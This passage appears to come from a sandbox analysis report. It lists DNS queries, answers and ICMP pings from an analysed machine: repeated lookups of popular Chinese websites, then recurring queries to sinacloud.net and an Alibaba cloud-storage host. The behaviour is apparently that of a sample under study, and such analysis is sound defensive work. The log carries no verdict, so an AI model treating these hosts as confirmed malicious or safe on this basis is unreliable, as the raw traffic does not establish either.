Aug 4, 2024 10:57:29.680867910 CEST	53	54500	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:29.703186035 CEST	53	54493	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:29.891463041 CEST	53	54502	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:30.700752020 CEST	60726	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:30.701097012 CEST	60727	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:31.140774012 CEST	53	60726	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:31.143049955 CEST	53	60727	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:32.094280005 CEST	49802	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:32.095454931 CEST	49803	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:32.102387905 CEST	53	49803	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:32.678378105 CEST	53	49802	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:42.069603920 CEST	49804	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:42.071791887 CEST	49805	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:42.322664022 CEST	53	49805	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:42.327001095 CEST	53	49804	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:49.215121984 CEST	55431	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:49.215224028 CEST	55432	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:49.228745937 CEST	53	55432	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:49.393870115 CEST	53	55431	114.114.114.114	192.168.2.7
Aug 4, 2024 10:58:01.275470972 CEST	51792	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:58:01.276331902 CEST	51793	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:58:01.283279896 CEST	53	51793	8.8.8.8	192.168.2.7
Aug 4, 2024 10:58:01.523988008 CEST	53	51792	114.114.114.114	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Type
Aug 4, 2024 10:57:19.204658985 CEST	192.168.2.7	27.221.16.149	17fd	Echo
Aug 4, 2024 10:57:19.732248068 CEST	27.221.16.149	192.168.2.7	1ffd	Echo Reply
Aug 4, 2024 10:57:31.142677069 CEST	192.168.2.7	27.221.16.149	76ce	Echo
Aug 4, 2024 10:57:31.734606028 CEST	27.221.16.149	192.168.2.7	7ece	Echo Reply

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 4, 2024 10:57:15.652792931 CEST	192.168.2.7	1.1.1.1	0x1357	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.783972979 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.douyin.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.785973072 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.iqiyi.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.786988974 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.iqiyi.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.787951946 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.kuaishou.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.789175034 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.kuaishou.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.789490938 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.douyin.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.792402983 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.sohu.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.794882059 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.sohu.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.870815992 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.sogou.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.872703075 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.sogou.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.929120064 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.qq.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.930725098 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.qq.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.987380028 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.sina.com.cn	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.992985964 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.sina.com.cn	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.053481102 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.so.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.053791046 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.so.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.113004923 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.baidu.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.113610983 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.baidu.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.177577972 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	soso.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.177640915 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	soso.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.235240936 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.jd.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.235646009 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.jd.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.297879934 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.1688.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.298147917 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.1688.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.360348940 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.hao123.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.360796928 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.hao123.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.422696114 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	youdao.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.423326969 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	youdao.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.486390114 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	foodmate.net	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.487036943 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	foodmate.net	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.547554016 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.jmw.com.cn	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.548299074 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.jmw.com.cn	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.611869097 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.cdstm.cn	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.613593102 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.cdstm.cn	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.673172951 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.eastmoney.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.673247099 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.eastmoney.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.740365982 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.tencent.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.740742922 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.tencent.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.798659086 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.cctv.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.800415039 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.cctv.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.860734940 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.hupu.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.861426115 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.hupu.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.925920963 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.autohome.com.cn	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.926707029 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.autohome.com.cn	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.927642107 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	guangzhoucs.oss-accelerate.aliyuncs.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.927767038 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	guangzhoucs.oss-accelerate.aliyuncs.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:18.938924074 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:18.939590931 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:19.776511908 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:19.777129889 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:25.248054981 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:25.249152899 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:27.839461088 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.douyin.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:27.839590073 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.douyin.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:27.891663074 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.kuaishou.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:27.891834974 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.kuaishou.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:27.954433918 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.iqiyi.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:27.954618931 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.iqiyi.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.016618013 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.sohu.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.016665936 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.sohu.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.078756094 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.sogou.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.079180002 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.sogou.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.141722918 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.qq.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.142585039 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.qq.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.204077005 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.sina.com.cn	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.204082966 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.sina.com.cn	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.266772032 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.so.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.266794920 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.so.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.344216108 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.baidu.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.345935106 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.baidu.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.406981945 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	soso.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.406985044 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	soso.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.469640017 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.jd.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.469647884 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.jd.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.532402039 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.1688.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.533024073 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.1688.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.594368935 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.hao123.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.594377995 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.hao123.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.689428091 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	youdao.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.690274954 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	youdao.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.735881090 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	foodmate.net	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.736324072 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	foodmate.net	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.797569990 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.jmw.com.cn	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.798443079 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.jmw.com.cn	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.859850883 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.cdstm.cn	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.860308886 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.cdstm.cn	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.923177958 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.eastmoney.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.923423052 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.eastmoney.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.985069036 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.tencent.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.985512018 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.tencent.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.053208113 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.cctv.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.054759026 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.cctv.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.110755920 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.hupu.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.111097097 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.hupu.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.172578096 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.autohome.com.cn	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.172578096 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.autohome.com.cn	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.234863997 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.jb51.net	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.234869003 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.jb51.net	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.297729969 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	guangzhoucs.oss-accelerate.aliyuncs.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.298760891 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	guangzhoucs.oss-accelerate.aliyuncs.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.299283981 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.zhihu.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.300203085 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.zhihu.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:30.700752020 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:30.701097012 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:32.094280005 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:32.095454931 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:42.069603920 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:42.071791887 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:49.215121984 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:49.215224028 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:58:01.275470972 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:58:01.276331902 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 4, 2024 10:57:15.659630060 CEST	1.1.1.1	192.168.2.7	0x1357	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:15.797032118 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.kuaishou.com	multi-az-www-api.kuaishou.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:15.797032118 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.125	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.797032118 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.144	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.797032118 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.107.217.26	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.797032118 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.106	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.964654922 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.sohu.com	www.sohu.com.dsa.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:15.964654922 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.sohu.com.dsa.dnsv1.com	qt0t6l4k.e0.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:15.964654922 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	qt0t6l4k.e0.sched.ovscdns.com		43.159.70.125	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.964654922 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	qt0t6l4k.e0.sched.ovscdns.com		43.159.71.118	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.964670897 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.iqiyi.com	www.iqiyiweb.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:15.967210054 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com	www.douyin.com.bytedns1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:15.967210054 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.bytedns1.com	www.douyin.com.w.kunluncan.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:15.967210054 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.w.kunluncan.com	www.douyin.com.queniuyk.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:15.967210054 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.201.232	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.967210054 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.201.231	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.967210054 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.201.234	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.967210054 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.201.233	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.967210054 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.201.236	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.967210054 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.201.238	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.967210054 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.201.235	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:15.967210054 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.201.237	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.043056965 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.kuaishou.com	multi-az-www-api.kuaishou.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.043056965 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.125	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.043056965 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.107.217.26	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.043056965 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.144	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.043056965 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.106	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.077280045 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.iqiyi.com	www.iqiyiweb.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.084181070 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com	www.douyin.com.bytedns1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.084181070 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.bytedns1.com	www.douyin.com.w.kunluncan.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.084181070 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.w.kunluncan.com	www.douyin.com.queniuyk.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.084181070 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.191	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.084181070 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.188	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.084181070 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.190	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.084181070 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.193	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.084181070 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.194	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.084181070 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.195	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.084181070 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.192	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.084181070 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.189	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.091092110 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.qq.com	www.qq.com.eo.dnse2.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.091092110 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.qq.com.eo.dnse2.com		43.132.73.61	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.122895002 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.122895002 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.122895002 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.122895002 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.181032896 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.sogou.com		119.28.109.132	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.206032991 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.qq.com	www.qq.com.eo.dnse2.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:16.206032991 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.qq.com.eo.dnse2.com		43.152.186.103	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:16.215327024 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.sogou.com		119.28.109.132	A (IP address)	IN (0x0001)	false
